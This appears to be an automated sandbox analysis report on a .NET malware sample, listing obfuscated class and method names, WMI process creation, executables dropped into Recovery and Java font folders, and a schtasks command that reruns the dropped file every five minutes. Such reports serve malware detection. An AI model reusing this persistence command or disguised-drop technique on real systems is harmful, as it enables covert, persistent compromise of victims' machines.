Source: c5uqDb5MlY.exe, rNQfFN2PWcDqB8L2xyd.cs	High entropy of concatenated method names: 'oHBc9TPVcd', 'mEDAZmgGpNJMEmrrAsb', 'BTlIgrgrpJnPRu7mweX', 'bHZKCxgA7YWSpiwbTny', 'JTw1nPg7CnI9VovZolJ', 'Bi7rACwX1Y', 'T2xrV2FujC', 'JMbr4C5aXk', 'zn9rLSDlIV', 'LXFr6rR61Q'
Source: c5uqDb5MlY.exe, V2QI7JvyVMdpCeHO2vY.cs	High entropy of concatenated method names: 'M8WXoUGUbg', 'tvjshTYyJuwg5Q5U9MD', 'C9SOhoY5VGnEeLdoKYA', 'nxKUl2YdhB8MPABV29I', 'eDMtcLYsN8IRNBDEuvc', '_1fi', 'n1581gAaZa', '_676', 'IG9', 'mdP'
Source: c5uqDb5MlY.exe, gnffZt2IyiUCMujcTjS.cs	High entropy of concatenated method names: 'BOMcK7vtsM', 'hVycyp4FwQ', 'Y15coQroLL', 'jgBcboMccr', 'RVlcG1tgPJ', 'O4bZJkgCV5HoCbFfou8', 'VS2LDagzh66j8ZALP9m', 'q5FtCxgjFkN7blE8gv3', 'cqLdTogWNZIS1SHIjDM', 'Rl8T26BJ3uvnBmdMlLk'
Source: c5uqDb5MlY.exe, ugrXJkdRvdVvES7hcAK.cs	High entropy of concatenated method names: 'f4AH4j7OGn', 'wyDHLyhCak', 'hZPH6gKx6y', 'YVmHK9AIZ8', 'QMyHyIeNE8', 'UDOHolExN7', 'ys9HbAfRWg', 'V72RoFR9QQ9K7k5Fa0K', 'e6kjiSReqP1xo7smAHn', 'wJogfcR40yTkeDRxqpI'
Source: c5uqDb5MlY.exe, NTWlXDPMV6aaiSgiDRs.cs	High entropy of concatenated method names: 'q4Y', '_71O', '_6H6', 'JQWi3CZCtU', '_13H', 'I64', '_67a', '_71t', 'fEj', '_9OJ'
Source: c5uqDb5MlY.exe, kIgDgRHhGr3KNDN9ltk.cs	High entropy of concatenated method names: '_5u9', 'AmjJGSFOO0', 'MpCrsTxEhN', 'wpdJTU6dDx', 'VqL1moejILpLDWJRTJP', 'VaHnA9eWwnyPCEySKTM', 'bp85KXeCNZwxxb7Ocnb', 'fqiTC3eoLQ2sdbiB9Sj', 'yMO1aHeM82wcc3H9Yy6', 'hP35pmezZgVDk1TfIxH'
Source: c5uqDb5MlY.exe, YtXgIaHExuJwH0Q7a2C.cs	High entropy of concatenated method names: 'eutRlZvmS2', 'd25RgQrdJ7', 'jDcR9NL5bQ', 'GYp3FJ2Yfyk1xtg1Mib', 'g9nORG21ZQhrvJeXIPO', 'sheTLx2X7uZtwHhYM04', 'EJtypw2h9uecEqIeLlj', 'O3HRv613Rv', 'cNqRpm5xws', 'AfSRQpVPvG'
Source: c5uqDb5MlY.exe, todD67d6OWXfG9KlqFN.cs	High entropy of concatenated method names: 'zjoPUdD67O', 'TOj3HMAWd5g8I8LOqVc', 'cVL31lACv4Bq8Kky2Vd', 'QotLWYAMtea2rO86x0C', 'olPmxLAjrYlPGAjXnrj', 'e3LfTMAzL5n3nUBAYpI', 'ioX17r7J1YyaNpTxcON', 'cSy59G7NGlucU0QLUT3', 'VcuIyq7Z3d1vtjJsGUZ', 'gtmJye7usUOjDoSFkk5'
Source: c5uqDb5MlY.exe, gUv7KWHgylxavvYtpcg.cs	High entropy of concatenated method names: 'tR6Qe4gv1n', 'NFwQWq2rrY', 'rrjQ15VYyI', 'os1BVSwU8vjLHvqcKZW', 'x6Y4TWwPdtYgUYwvHEj', 'PaTUfgwtPZvY3LLbwCj', 'COOyUxwV2j4jAfROxmt', 'oyvChww3PeZVsvSm87S', 'AbbfoCwlFTHgZLZDwPL', 'gk8yUIwxZIf1L4SXpmg'
Source: c5uqDb5MlY.exe, xUUxcAo0iX4uuP6Rg7.cs	High entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'dqTJ5yuntvQnpa62XNm', 'SGqBrLuErTfcwirBJp9', 'H7ToYruT3nLVWLdf57g', 'xcbpmRuDJfKu6vQllYS', 'CfINLQubOMaQARXlyQR', 'bc7n0Ou12vkepDsswe8'
Source: c5uqDb5MlY.exe, AmFwhPP6513AykoJTEZ.cs	High entropy of concatenated method names: 'pFXisQAAH3', 'zA2TXeEjmdGx06hdQaP', 'hVPTrFEodwQx6tWkV5l', 'qtgGrvEMRKBEFKcyD3w', 'cMJOPYEWUThGWtGfjum', 'Alh5LSECsORDVoSVRhK', 'Gv8v4LEzdGTvOHpr0kc'
Source: c5uqDb5MlY.exe, kqKoUJxgFuWsDvnivNU.cs	High entropy of concatenated method names: '_981', 'YZ8', 'd52', 'G9C', 'gpKMg0KxWniZ5QgYTBs', 'gbjTZMKqI5K5Lqw64FD', 'prmCfQKobwW50MOnNBd', 'Fmm2QpKMqOD9eUuMhOb', 'sa94dcKjYNV45XrhUMy', 'R3TtFeKWkSaqOso76Tn'
Source: c5uqDb5MlY.exe, M92mItvVyQsJuKGtY7m.cs	High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'MUSZixUr8w', 'xxJZfc2840', 'ICdZZxZIBe', 'pbkZ8xVTXh', 'WaqZXnTPaS', 'OX1ZUNNoHi', 'ROBIT4XEXFGjyMEeSnv'
Source: c5uqDb5MlY.exe, u3nlwFxS258jIdp6dLB.cs	High entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 'C8WlsQSJmyvdpMrDZSM', 'jkHIq9SNnMvJlkFWAdB', 'EyIZOMSZCxyG5cC89G6', 'UF3EjdSup1rZ4gPTJLT', 'eVPyjfSccLvqDGvFTko', 'iRJIL4S8TiouYEiEnZt'
Source: c5uqDb5MlY.exe, P5v7RbxAh2Sq0uPK7YF.cs	High entropy of concatenated method names: 'gFnxBihKqA', 'MlkprrQZFQESSpywasc', 'DGR0IKQus7qeCRyprKd', 'LBokNmQJqBOFEnTE7eL', 'Fi9yroQNwfrHtHuk0lX', 'SPgNCMQc2sh67EK9Q8I', 'CgmoFRQ8PRsKsjUW0kc', 'O67fnAQLQQAcY3XM3a9', 'Ku2xDYFw9S', 'Mpmjn0QOUtp5bdZ8BII'
Source: c5uqDb5MlY.exe, ztsSfvxaxSJXR829u0A.cs	High entropy of concatenated method names: 'yI4dEt5GL9', 'ocTvH9iLZmLcvH5eDrJ', 'nAX9oJiKgE6HQkuWoYr', 'QrfbTDicna9cWs5BZFt', 'TRJBZMi8IufWxFX41pD', 'HDuySoiS5Lx5JrwHmwC', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: c5uqDb5MlY.exe, ICqkkPHrECjKOkn2nuj.cs	High entropy of concatenated method names: 'TK5QLwjCp1', 'fXHQ6jlWP9', 'ebqQKg44l7', 'xq6ANAwmFSMWDayv3EV', 'loyhrqw6GisBxZM4JdC', 'eIbL2hwRJKQxPDvSKhT', 'r43nTJwH56hOf6pkuF9', 'PLvQlX6uPB', 'hKOQgKqsmt', 'd3MQ97oX80'
Source: c5uqDb5MlY.exe, IbfcmaPZIaVm990IBUF.cs	High entropy of concatenated method names: 'VhPnbJN6Zv', 'CQhnGFJjip', 'rc0n0OjGOT', 't3GnNScbSY', 'ngcnqyMcqs', 'ywecfVEd8oWEBEOFtE9', 'TPG7tSEBKBQkc2SdCKc', 'H6okGEE0rS4ccIsotkK', 'SvTTSHEs7Hwhm7iL3LZ', 'gfM3r6EyD4phIhlIKbK'
Source: c5uqDb5MlY.exe, gTOQYlHeospYMB75fNH.cs	High entropy of concatenated method names: '_9YY', '_57I', 'w51', 'e43J4XyOQE', '_168', 'oGBDj24gQrCROPoKbB1', 'QUKy8v4BS8UywfwMZXD', 'c4rTkU40fpR7AabLD8y', 'xW7ggm4dVtFX3USZlN0', 'TLCnvk4sLbRo2qUqT7j'
Source: c5uqDb5MlY.exe, U5lpdLvCqYoclPhGk3R.cs	High entropy of concatenated method names: 'hTwftCrRde', 'N0mfjqdXLZ', 'RVkfCwexL4', 'Q8YfYp2YTO', 'kj2f36HAdx', 'jFQhm9bjDMX3RRlNceS', 'VAaycmbW3PhIZp9tRkb', 'TbRGaRbCIOuI1IKoB2E', 'jJELh0bzJIBW18xO9TQ', 'IoRjHO1JU7hOeSdEDuP'
Source: c5uqDb5MlY.exe, bJfiUXd50tJ5YPSXhMq.cs	High entropy of concatenated method names: 'WriHzvGGq7', 'rBo2scH3c5', 'LJE2x6QBoS', 'Ivf2dlBPar', 'O4J2HoobZt', 'aSf22vxSJX', 'h822P9u0An', 'zNW2vPLrd9', 'Mw02pXZnfx', 'aEE2Q1ylLd'
Source: c5uqDb5MlY.exe, Iq6NoNpiLuktQsjFCHs.cs	High entropy of concatenated method names: 'DHwVnlY4PI', 'ipaVi3tdGK', 'MjiVfQkplS', 'dOJVZbOEem', 'exhV8fOdEf', 'DLbVXVH0wh', 's2BVURYveK', 'JFqVA0j981', 'kaSVVwTGOe', 'kJyV4pZ1Fy'
Source: c5uqDb5MlY.exe, Ek5wlcds6InjLNguC1b.cs	High entropy of concatenated method names: 'Q7ediquyYs', 'PNAdfDObWM', 'J1RdZa14BZ', 'd2igihivDNC7GNjvtgj', 'TGYsFsikioGtnd3vD2Z', 'J7aet9iFrVHmm8pM8qG', 'tQP1nvingAha0rkbaxL', 'd6bHX7iEgKIrAr7uDkY', 'kAfeQciTaAvMlcCpKPM', 'Ky9rfRi5NJdxbfMGCHv'
Source: c5uqDb5MlY.exe, DWcWGu12YFw9SxHHOL.cs	High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'FEHoDa8H4jX19jbWwCN', 'tZvY9i8adXZAY6EYuuS', 'Dml9vC8A7DbUgLYv0O5', 'apEHXW878q4mgFOy7RK', 'UDVonf8GqRR5pZ5Q2dT', 'dasvck8rmImrrQGI84l'
Source: c5uqDb5MlY.exe, T5QroLPJLFgBoMccrWV.cs	High entropy of concatenated method names: 'EGai8m11F8', 'z11iXOqyuf', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'OHgiUY1acq', '_5f9', 'A6Y'
Source: c5uqDb5MlY.exe, ogs7NiNfWKVQDPdmNn.cs	High entropy of concatenated method names: '_66K', 'YZ8', 'O46', 'G9C', 'KgywtKcpgsDNskKtF8k', 'rM0MnMciItgNHMUCYtb', 'fEWedvc6iCykX7mQL2y', 'AVGyQEcRbuIUwuK6yqn', 'CkISvScm4lLA7hJf5TL', 'b0Y645cHgfTPFCuH90V'
Source: c5uqDb5MlY.exe, Wj7pbIxPGKCoJX0LUjQ.cs	High entropy of concatenated method names: 'K55', 'YZ8', '_9yX', 'G9C', 'U6FEiILUV0FUuB5XoTX', 'usaqt8LPdGGnpNjBDWi', 'IRpDIfLtC7tMCSSHdv5', 'cnZasoLVUAJRZTB8Sn4', 'gn6wvNL3eLwQp9Hx0RE', 'Ai5hmQLlnb85reLGfoK'
Source: c5uqDb5MlY.exe, WPLg4cHNKL5kGY0A3xc.cs	High entropy of concatenated method names: 'sg9', 'dl4JsL7wbZ', 'mfpRu5jnkZ', 'u6XJgSXXds', 'F7sQlRetWk3EZnOklmI', 'qVAWFteVoi90gvcc5b6', 'jhRelie3lusIqEMPqCO', 'Fw1sC6eUTVsDcX7YXPo', 'rJseXmePpAkSAbRnlOH', 'MpQ9Dselj1a8L3FFNoX'
Source: c5uqDb5MlY.exe, pTqghXddI9TaAY8AN8K.cs	High entropy of concatenated method names: 'OVRdDTkAYL', 'IipdeoBY9d', 'kICdWPmuGp', 'wZbd1JMcYy', 'nLXd7QuPqp', 'POsdkcdWHl', 'tfVKP867fLtxjBxdxY6', 'warK9K6GEI7FUSdUwiM', 'z4tpG76aNqbM1XcgP7A', 'L8Ldl46AaFwNc6EHInK'
Source: c5uqDb5MlY.exe, Hfc621vhiX487JTJpsN.cs	High entropy of concatenated method names: 'PJ1', 'jo3', 'lrMURAWF5v', 'xRrUrAey8M', 'e7NUFiVsQf', 'EC9', '_74a', '_8pl', '_27D', '_524'
Source: c5uqDb5MlY.exe, uwylmnkcf5Beybww2Z.cs	High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'QI7EHk8dP06APvTklrk', 'XITsAa8sP6LLK0nccCs', 'Fvy6Ab8y1QuejR5YWlx', 'cp5pwc85FBHKUNyiYEH', 'erOZ6F8fkienEhf4AMu', 'KQOSRg8v86DkFbWMuo7'
Source: c5uqDb5MlY.exe, eIwwWYxxH4PkB9WO6Qc.cs	High entropy of concatenated method names: 'tO4', 'YZ8', '_4kf', 'G9C', 'biTySQLroGM0JkEET6w', 'V1d3n6LIQXlCt6b2qN9', 'fLNn80Lwn0hVTg0gL3O', 'tepNFQL2w47ENyNtUGX', 'gyvyONLetupGm1ihcYM', 'OvD8YyL4a5D5OnR6BOl'
Source: c5uqDb5MlY.exe, KVsk7tPb4iFYMr8jusB.cs	High entropy of concatenated method names: 'FdgnemT8ZWbK0Jm9Bm8', 'kjKUEhTLRBrjdpTxJas', 'VFsPelTuG6wYQDZMrBA', 'ILt09FTcUo7si3KN7h0', 'Vx09HKTK2Bmog8Mlbuk', 'hPvYvJTSyoy4b1giVED', 'KJ3P4PTOWRSCAeuoIEc'
Source: c5uqDb5MlY.exe, zPgKx6x0yJVm9AIZ8DM.cs	High entropy of concatenated method names: 't5tdx6WE5J', 'Va4ddkbd8f', 'CxCdHVoTLB', 'YWSaEZQlOrV2NEEhARO', 'O3A5SaQxk1pfsf6gG7v', 'SHari2QVEN5CFucsTY8', 'AWdFJEQ3qOcYXnDxQ3g', 'HsWKWHQqMfBBp15aYJG', 'kQO3jcQofBufjTlcGgP', 'DxBZHVQMBLLD260gO1x'
Source: c5uqDb5MlY.exe, rDPXKtxRU7oYc4Dn9Kx.cs	High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'HJrOrbKKrBrNiPTC3tt', 'x4R6dxKS79uXTCGKBRn', 'n8YQWhKOMfKCwoTUNPk', 'FbpUxaKQwkC0NVC5wNn', 'h5fxSFKp5xwkLucTo0W', 'FlNGC1KiuCstIhTIsQJ'
Source: c5uqDb5MlY.exe, R8y8oGH2VSEXKhDL5Kn.cs	High entropy of concatenated method names: 'yYkpN0fr2U', 'RikpqkTid2', 'q0jphqofxC', 'IGnpBcg9Uu', 'n57pwqZfeg', 'GSBpDRsMx8', 'gKpn91rsHgUjlckk5Pp', 'Rnn2akr0JRbGSfGvhsQ', 'F2NMSFrdbWWOH2oHCqn', 'HF2nMsryqXx0RO2JHhx'
Source: c5uqDb5MlY.exe, BhW1wcPTYPaXeoRwj9P.cs	High entropy of concatenated method names: 'EIgi2CjC0E', 'YomiPh21q9', 'HwiivYMasp', 'HJqipjDwlN', 'iVIiQrbFvb', 'jLmiR4b2Ax', 'J26irKBaIR', 'n1LiFEHlp3', 'LqTicwdPoE', 'ExgiI3C5Oq'
Source: c5uqDb5MlY.exe, OuDSJdHn7OVPZ3pVYTl.cs	High entropy of concatenated method names: 'sMqR4BeJBm', 'TStRL0adfM', 'oI8KuheGAplkAxTamRv', 'zyII3rerMwxm97BFKKw', 'MbIopreAfG5FU1EiIvn', 'zEigrEe7MXICO0wqYit', 'RSBRwaeIr7go3JXuk4d', 'p27ZbUewQbhXDRjDXqO'
Source: c5uqDb5MlY.exe, cHld9xxhojCrCDkZjJr.cs	High entropy of concatenated method names: '_2WU', 'YZ8', '_743', 'G9C', 'vEYjB6pLscm8UNy3pfQ', 'z1Vm4QpKFO1bWA0x9It', 'f5wjlFpSDdOS81K5pNr', 'b6u1ULpO6eoNgBRgSRJ', 'wGBXDWpcFXv3UeHycUI', 'ypxP50p89kjimNo2mYm'
Source: c5uqDb5MlY.exe, g3P0K82ZeEkBE4eOACU.cs	High entropy of concatenated method names: 'PcFOLtm4QT', 'NLpO68oIKY', 'P9nOKnVUbP', 'M8xOy1Y2PY', 'WH3OoKl0FD', 'z7nK940r7TVMxxWHnGW', 'Cnk65X07ELDe9RUj2bu', 'QugZyP0GQ0mkr7i7eZI', 'p15ULa0IftxvB1WWKKW', 'KWd9kQ0wxU8hmTUl6bF'
Source: c5uqDb5MlY.exe, p7NiKIvvOqAVJsFXPEJ.cs	High entropy of concatenated method names: 'Qkp', '_72e', 'R26', '_7w6', 'Awi', 'n73', 'cek', 'ro1', '_9j4', '_453'
Source: c5uqDb5MlY.exe, nUs4YFpjICMOkNMASI.cs	High entropy of concatenated method names: 'a4YOFjICM', 'Ka1NIdvpNJENM0VZjv', 'PC4dh25EGkD9pBGE3A', 'TetSTef66PZlrdyhDP', 'g6aZlakL89DdEFoyQ1', 'D4GTLKFx3BFAbjVRXT', 'jJBdDtEWL', 'IIpHk8cEX', 'Okg2nXlbq', 'YpmPGp2O8'
Source: c5uqDb5MlY.exe, GWltY2dGI7ng06e1YbY.cs	High entropy of concatenated method names: 'VacvQk1NI3', 'FvevROCiJ5', 'neKE5P7ogRqVm19exrU', 'VWrhsd7MnB5mKIi1gAi', 'rTdXC27xvyoE2wtuMMa', 'ypXY977qO8aCxMEG6kl', 'bNQv9ITOgX', 'ELPOCqGJR3eT3KpOQmw', 'ik4Zl7GNnxS1dPKfgth', 'o3w6aQ7CNhmvK3fglnf'
Source: c5uqDb5MlY.exe, aDlQaxdYDkoEWawFASt.cs	High entropy of concatenated method names: 'loD2jD8Qwq', 'zmk2CHsMSg', 'q292Y2Zmkf', 'LjI23Xk01G', 'O7S2nVDve6', 'UjwLW7aJp6swKbarL2N', 'FSAtYTaNy8xdtEp3XeJ', 'IJXBUsHCbqFJBcMsPZF', 'oHxILlHzaviLpNUchuJ', 'wjyeqnaZfkgodp57W8R'
Source: c5uqDb5MlY.exe, f5UZ4KHCGfsnDXcGS9O.cs	High entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'i2ip8xeR4hqL1UWfeMI', 'iIkpMwemoYbB5H8LcCu', 'HncMWPeHgbBWw1G3aaZ', 'O2BMMMea1mKY7nytRE9'
Source: c5uqDb5MlY.exe, WdGsGj25STPJQHrKuMW.cs	High entropy of concatenated method names: '_7zt', 'FkfIEJKJUU', 'xjbItV2yPP', 'Ub6IjLG4ZI', 'u6IICfMuq6', 'EPEIYm6Oio', 'eSKI3bna0G', 'tf6XQcBeblponuyHPcs', 'S0bpG2B4hyO6jiE3KlU', 'wvHFBEBwOSCm05CHJ5m'
Source: c5uqDb5MlY.exe, MsxHpQvLijGUXNqrJ93.cs	High entropy of concatenated method names: 'kolwfyYcHIfZqpClArf', 'vwCk6hY8lr0CG6H7Nj0', 'tgiMvPYZD8FLM9e09AE', 'yhafEIYuLObi0oEoNj5', 'hHgZ67Dfow', 'WM4', '_499', 'c1oZKXQjCX', 'vLyZyaLyaj', 'zbXZo67lYu'
Source: c5uqDb5MlY.exe, goBY9dxEcICPmuGp3Zb.cs	High entropy of concatenated method names: 'MifxUWKVQD', 'h9yOJsS7k2wepaTWKYv', 'pUpLbHSGsK4xxI6Q2DM', 'SvluFASaSKgqeAKfvx4', 'DkSLZWSAle0TmsCih27', 'uZgqnTSr6pD1paxo34O', 'UpkOioSIy5hNLTG5Wes', 'QgcpMTSwQlWjRTnPPV4', 'VIrvKtS2Zw5fuQ6W9b5', 'f28'
Source: c5uqDb5MlY.exe, q7SpfNebkQTXAiuPHr.cs	High entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'IpPx7U8LWouDDTITUrB', 'JyOeYi8K2alWC3wWxNw', 'KnS5lP8SgO1XlVuE4V2', 'kj5nxZ8O0wh4eHQmI3F', 'H04tg58Q2nEVGGWcx8G', 'NlJvQY8pfZRvHZys3OF'
Source: c5uqDb5MlY.exe, N2Sj44fC4WrDuMp4ET.cs	High entropy of concatenated method names: 'SnA6cEjUP', 'TAOK3LeAQ', 'ocQyqrS26', 'PheOadNTbavGtO0EgZN', 'bQR1KyNn0lIByZvdBWw', 'mNt5hwNEXsoWfymkGZn', 'Rg8jVjNDsjG6d9KbMLc', 'CRe2N2NbkpoW5kUeCDd', 'th9ggcN1vaMoUbe0q2D', 'biiLjMNXr3pI7G3GaWP'
Source: c5uqDb5MlY.exe, PP08FIxZVQVA6LFUNF1.cs	High entropy of concatenated method names: 'Ai7', 'YZ8', '_56U', 'G9C', 'y3JxoJSCPWcP2lS52yF', 'NAPGqSSzEf891qKDAsx', 'qqj2lqOJbdEhsFKE96U', 'Sqr8K5ONMR8jCEWomnj', 'R98JuUOZPRixlbjYE4h', 'YSF42hOupr1uZC90yP8'
Source: c5uqDb5MlY.exe, nvPeU6GTWGnkU2hvmC.cs	High entropy of concatenated method names: '_23T', 'YZ8', 'ELp', 'G9C', 'Ay6POiuM3BXlFqpsYB4', 'eEam6mujFgfUmvBtXkZ', 'u5WMJguWypg4nX41Vhi', 'N5o14XuCe7gVr26PvYM', 'Q0UvP7uzyYuPnHJPcq5', 'A3vUj4cJFuQ2imeTio9'
Source: c5uqDb5MlY.exe, ROaGe4xoINpi9dnHpfo.cs	High entropy of concatenated method names: 'Hqjxuu1Fqb', 'kvvYWqQEAkJW8ZF1P9p', 'yUQNv9QTM556uG9v8MC', 'fRaWvGQFr9TENFbmGhX', 'yKp09EQnk8Ib7AV9QGs', 'OLoTdjQD5xIMMKeip0W', '_3Xh', 'YZ8', '_123', 'G9C'
Source: c5uqDb5MlY.exe, yjow4n85wpI8BExtUl.cs	High entropy of concatenated method names: 'T43', 'YZ8', '_56i', 'G9C', 'WIkXHHZpHigo6QQSkwW', 'a4Tb8AZiIfBZw9nXVYT', 'cqKNR5Z6nlrDZ4qhIRp', 'f920HDZRyaibD13fheD', 'eVTbSLZmJWc55LXlxmj', 'IJ9cNLZH5mIuRmsLIj9'
Source: c5uqDb5MlY.exe, sCO7KJPA8jFP8oOpDhc.cs	High entropy of concatenated method names: 'OL3nDlkOWR', 'Rjcnenrr3U', 'q8QnWKuwap', 'tVVtPHEbvjPJ1HmgJLR', 'kaMB3kETgkZJfOw1b89', 'CuJNJHED8asPFV7ARsQ', 'gBbBypE1i1N7nt62xHl', 'k3TwPwEXtdwVCG9Bhir', 'kh0K81EYcmyroVLNHTH', 'Ss6GUuEhC9u4kW9FVhr'
Source: c5uqDb5MlY.exe, IHiFKBP7FH9vLP0QXub.cs	High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
Source: c5uqDb5MlY.exe, fQ7OC0wR7AIdcARaoL.cs	High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'rVA7GmcYu3mqnIXefRQ', 'zt1v3ZchJv13H2DO8CP', 'TQxlsncUUOgAZdCF8eH', 'N5BBjmcPh9kqcPavCtB', 'FHoATHctJq3EU4SYY5X', 'Mk6KV2cVA3R96DlbU4s'
Source: c5uqDb5MlY.exe, xpdsY7xC2Ix5BFPnQpU.cs	High entropy of concatenated method names: 'gHL', 'YZ8', 'vF9', 'G9C', 'qaLymGS9SkJAJCO8K5N', 'fuEttwSg7FaN92Mr8GR', 'Vqp58ASBDfVbeXxXI11', 'nyDdGdS0NQdetA99aUy', 'NdvNQCSd8bOqsFkEwWG', 'UPaFmpSsmb2a8FAXq5U'
Source: c5uqDb5MlY.exe, aGywn1pFskcgJXbpv8S.cs	High entropy of concatenated method names: 'xAY3FSxx9yDie', 'Gj3QJ6UHRW3Le01ORq0', 'RwkBboUajY409IlGToP', 'ETNUFmUARjp05FTA7wK', 'ICNswlU78faUiKJ22LT', 'O5PjSMUGAwcwLUqFDFW', 'wC8OYWURabQgu7HYtNP', 'doZrwPUmlubn7KpJ4MD', 'tZ2DCjUrkeoMW7udRrw', 'z11KDAUIQvlXNSlAP70'
Source: c5uqDb5MlY.exe, MWXxVU2RJBOKFJpZ4dj.cs	High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: c5uqDb5MlY.exe, KikfCWvXJVMC9m1cPqT.cs	High entropy of concatenated method names: 'k0sZR2XSyg', 'w2IZrOck0Q', 'dklZF6GBEw', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'zXaZc3rKxn'
Source: c5uqDb5MlY.exe, PxS59fdocH26nGQdytI.cs	High entropy of concatenated method names: '_0023Nn', 'Dispose', 't8BP6uugdU', 'Kl1PKFwxS5', 'pfcPyH26nG', 'hdyPotIvq8', 'uM4PbCuY50', 'r05EJG7OwXp3bDnvrqg', 'QOe7mO7Q646RlGI9ekJ', 'V7ue3f7KrvpJy9udHEI'
Source: c5uqDb5MlY.exe, wy2CqjP4AWEt4risLQp.cs	High entropy of concatenated method names: 'y7mn7dQB5v', 'C3ZnkL0tta', 'FrunTmrkNa', 'onsnal2dOi', 'shhnMcY9Ns', 'Y8fnu5CgSr', 'thvJ7dEtAYeMNVvN3Uf', 'ITWYcMEUrYjLTVffgyo', 'f6PhJcEPRAR2XmjlHKh', 'PVO09AEVEeXIA8XQwdj'
Source: c5uqDb5MlY.exe, pPPBJAx3htqEsHuBNTS.cs	High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'kTZrLtSF5dEke4WgVPr', 'FA2MXESnJDdTeRkF2o2', 'MNNh3YSEB5hAgFIPSGZ', 'IvGEYaSTqoCZfX4m8VP', 'syqK1BSDtxlMjd3bwWS', 'eaUSdSSbQOZegSX834q'
Source: c5uqDb5MlY.exe, O8WOnkH11QsAl2OFx2w.cs	High entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'QfGrFbm2da', 'dx8JKvMiWc', 'CddrcRXDCs', 'FhgJBjOIMu', 'cQkGWW4TA4KPITTnFV5', 'G3LYmS4DAxO7uYcT7W8', 'AeTXZx4n8MYDXPpAm8W'
Source: c5uqDb5MlY.exe, rmUhVvxe6VhaYqOnCGg.cs	High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'm9HwaNpwDrfwOdOgcF8', 'ToUkhxp22DQIpgdhXJw', 'fhJ995peCNuR5UaKyrn', 'bBep26p4TRFacO1sA3G', 'gEdXZLp9wQS9uqcnRbW', 'V4l1Hfpg192XVt5jGFe'
Source: c5uqDb5MlY.exe, X9jutBHStqOKKZUE0OG.cs	High entropy of concatenated method names: 'aDMQ7CSn7F', 'litQkmrxAb', 'qWqQTiZNXB', 'zHWQaFpnff', 'ztyQMiUCMu', 'kEloFI2LiieTQS8eGjg', 'lqDcqc2KZottauBfLwa', 'ziZBUS2cAWfO85euVNt', 'eOygoc28IZPEIL6kflH', 'epcyTU2Sy7ELoCNL5T8'
Source: c5uqDb5MlY.exe, XuI4SFPRhGK5EfxecjB.cs	High entropy of concatenated method names: 'rXrntQfcMP', 'IW8njvK6MR', 'tyEZT1nqvhXa1UPToUL', 'QWT5vqnoRZc37gsJ7Cv', 'RkALZmnM63veC5e1fGD', 'StyCaunj77yFa2nIL2G', 'pg2qVanWw1NFOtSo1ug', 'tciHavnClfaAE0aQMlv', 'WkQfT5nzVbIkgbLscAy', 'HK4dOUEJAyNq0T50blM'

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	File created: C:\Recovery\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe			Jump to dropped file
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	File created: C:\Program Files (x86)\Java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "kiLVdQuGOoDsAqfKidbVwSiALpZrGk" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\java\jre-1.8\lib\fonts\kiLVdQuGOoDsAqfKidbVwSiALpZrG.exe'" /f

Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c5uqDb5MlY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
